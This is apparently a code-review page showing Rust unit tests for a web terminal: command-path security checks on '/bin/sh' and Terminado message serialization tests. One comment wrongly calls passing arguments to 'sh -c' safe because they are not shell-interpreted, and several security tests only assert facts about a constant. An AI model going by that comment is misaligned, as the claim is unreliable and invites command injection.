// ============================================================================
|
||||
// Symlink and Special File Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_not_in_tmp() {
|
||||
// Commands should not be executed from /tmp (common malware location)
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
!command.starts_with("/tmp/"),
|
||||
"Should not execute commands from /tmp"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_not_in_user_writable_dirs() {
|
||||
// Commands should not be in user-writable directories
|
||||
let command = "/bin/sh";
|
||||
|
||||
let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"];
|
||||
|
||||
for dir in user_writable {
|
||||
if command.starts_with(dir) {
|
||||
panic!("Command should not be in user-writable directory: {}", dir);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Logging and Audit Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_execution_should_be_logged() {
|
||||
// This test documents that command execution should be logged
|
||||
// In the actual code, log::info! is used when spawning processes
|
||||
let command = "/bin/sh";
|
||||
|
||||
// Verify command is loggable (no sensitive data, reasonable length)
|
||||
assert!(
|
||||
command.len() < 1024,
|
||||
"Command should be short enough to log"
|
||||
);
|
||||
assert!(command.is_ascii(), "Command should be safely loggable");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Integration with Command::new() Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_new_prevents_shell_expansion() {
|
||||
// Document that Command::new does not invoke a shell
|
||||
let cmd = Command::new("/bin/sh");
|
||||
|
||||
// Command::new takes a literal program path, no shell interpretation
|
||||
assert_eq!(cmd.get_program(), "/bin/sh");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_args_separate_from_program() {
|
||||
// Arguments should be passed separately, not in the program string
|
||||
let mut cmd = Command::new("/bin/sh");
|
||||
cmd.arg("-c");
|
||||
cmd.arg("echo hello");
|
||||
|
||||
// This is safe because args are not shell-interpreted
|
||||
assert_eq!(cmd.get_program(), "/bin/sh");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Summary Test: Complete Security Checklist
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_security_checklist() {
|
||||
let command = "/bin/sh";
|
||||
|
||||
// 1. Absolute path
|
||||
assert!(command.starts_with('/'), "Must be absolute path");
|
||||
|
||||
// 2. No path traversal
|
||||
assert!(!command.contains(".."), "No path traversal");
|
||||
|
||||
// 3. No shell metacharacters
|
||||
assert!(!command.contains(';'), "No semicolons");
|
||||
assert!(!command.contains('&'), "No ampersands");
|
||||
assert!(!command.contains('|'), "No pipes");
|
||||
assert!(!command.contains('`'), "No backticks");
|
||||
assert!(!command.contains('$'), "No variable expansion");
|
||||
|
||||
// 4. No null bytes
|
||||
assert!(!command.contains('\0'), "No null bytes");
|
||||
|
||||
// 5. ASCII only
|
||||
assert!(command.is_ascii(), "ASCII only");
|
||||
|
||||
// 6. Reasonable length
|
||||
assert!(command.len() < 256, "Reasonable length");
|
||||
|
||||
// 7. Not in user-writable directory
|
||||
assert!(!command.starts_with("/tmp/"), "Not in /tmp");
|
||||
assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp");
|
||||
|
||||
// 8. No spaces (absolute path only)
|
||||
assert!(!command.contains(' '), "No spaces in path");
|
||||
|
||||
println!("✓ Command '{}' passed all security checks", command);
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Unit tests for terminado.rs module
|
||||
|
||||
use webterm::event::IO;
|
||||
use webterm::terminado::TerminadoMessage;
|
||||
|
||||
// ============================================================================
|
||||
// Serialization Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_serialize_resize() {
|
||||
let msg = TerminadoMessage::Resize { rows: 25, cols: 80 };
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["set_size",25,80]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_resize_large_dimensions() {
|
||||
let msg = TerminadoMessage::Resize {
|
||||
rows: 200,
|
||||
cols: 300,
|
||||
};
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["set_size",200,300]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_resize_minimum() {
|
||||
let msg = TerminadoMessage::Resize { rows: 1, cols: 1 };
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["set_size",1,1]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdin() {
|
||||
let msg = TerminadoMessage::Stdin(IO::from("hello world"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdin","hello world"]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdin_empty() {
|
||||
let msg = TerminadoMessage::Stdin(IO::from(""));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdin",""]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdin_special_chars() {
|
||||
let msg = TerminadoMessage::Stdin(IO::from("tab\there\nnewline"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdin","tab\there\nnewline"]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdin_unicode() {
|
||||
let msg = TerminadoMessage::Stdin(IO::from("Hello 世界 🚀"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdin","Hello 世界 🚀"]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdout() {
|
||||
let msg = TerminadoMessage::Stdout(IO::from("output text"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdout","output text"]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdout_empty() {
|
||||
let msg = TerminadoMessage::Stdout(IO::from(""));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdout",""]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdout_multiline() {
|
||||
let msg = TerminadoMessage::Stdout(IO::from("line1\nline2\nline3"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdout","line1\nline2\nline3"]"#);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Deserialization Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize() {
|
||||
let json = r#"["set_size", 25, 80]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_no_spaces() {
|
||||
let json = r#"["set_size",25,80]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_large() {
|
||||
let json = r#"["set_size", 300, 500]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(
|
||||
msg,
|
||||
TerminadoMessage::Resize {
|
||||
rows: 300,
|
||||
cols: 500
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin() {
|
||||
let json = r#"["stdin", "hello world"]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("hello world")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_empty() {
|
||||
let json = r#"["stdin", ""]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_special_chars() {
|
||||
let json = r#"["stdin", "tab\there\nnewline"]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("tab\there\nnewline")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_unicode() {
|
||||
let json = r#"["stdin", "Hello 世界 🚀"]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("Hello 世界 🚀")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdout() {
|
||||
let json = r#"["stdout", "output text"]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("output text")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdout_empty() {
|
||||
let json = r#"["stdout", ""]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("")));
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Round-trip Tests (Serialize then Deserialize)
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_roundtrip_resize() {
|
||||
let original = TerminadoMessage::Resize {
|
||||
rows: 40,
|
||||
cols: 120,
|
||||
};
|
||||
let json = serde_json::to_string(&original).unwrap();
|
||||
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||
assert_eq!(original, parsed);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_roundtrip_stdin() {
|
||||
let original = TerminadoMessage::Stdin(IO::from("test input"));
|
||||
let json = serde_json::to_string(&original).unwrap();
|
||||
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||
assert_eq!(original, parsed);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_roundtrip_stdout() {
|
||||
let original = TerminadoMessage::Stdout(IO::from("test output"));
|
||||
let json = serde_json::to_string(&original).unwrap();
|
||||
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||
assert_eq!(original, parsed);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Cases
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_invalid_json() {
|
||||
let json = r#"not valid json"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_not_array() {
|
||||
let json = r#"{"type": "stdin", "data": "test"}"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_empty_array() {
|
||||
let json = r#"[]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_unknown_type() {
|
||||
let json = r#"["unknown_type", "data"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_wrong_length() {
|
||||
let json = r#"["stdin"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_too_many_elements() {
|
||||
let json = r#"["stdin", "data", "extra"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdout_wrong_length() {
|
||||
let json = r#"["stdout"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_wrong_length() {
|
||||
let json = r#"["set_size", 25]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_missing_rows() {
|
||||
let json = r#"["set_size"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_non_integer() {
|
||||
let json = r#"["set_size", "25", "80"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_non_string() {
|
||||
let json = r#"["stdin", 123]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_type_not_string() {
|
||||
let json = r#"[123, "data"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Edge Cases
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_message_equality() {
|
||||
let msg1 = TerminadoMessage::Stdin(IO::from("same"));
|
||||
let msg2 = TerminadoMessage::Stdin(IO::from("same"));
|
||||
let msg3 = TerminadoMessage::Stdin(IO::from("different"));
|
||||
|
||||
assert_eq!(msg1, msg2);
|
||||
assert_ne!(msg1, msg3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_message_clone() {
|
||||
let original = TerminadoMessage::Resize { rows: 30, cols: 90 };
|
||||
let cloned = original.clone();
|
||||
assert_eq!(original, cloned);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_resize_different_values() {
|
||||
let msg1 = TerminadoMessage::Resize { rows: 25, cols: 80 };
|
||||
let msg2 = TerminadoMessage::Resize { rows: 30, cols: 90 };
|
||||
assert_ne!(msg1, msg2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_different_message_types_not_equal() {
|
||||
let stdin = TerminadoMessage::Stdin(IO::from("test"));
|
||||
let stdout = TerminadoMessage::Stdout(IO::from("test"));
|
||||
assert_ne!(stdin, stdout);
|
||||
}
|
||||
Reference in New Issue
Block a user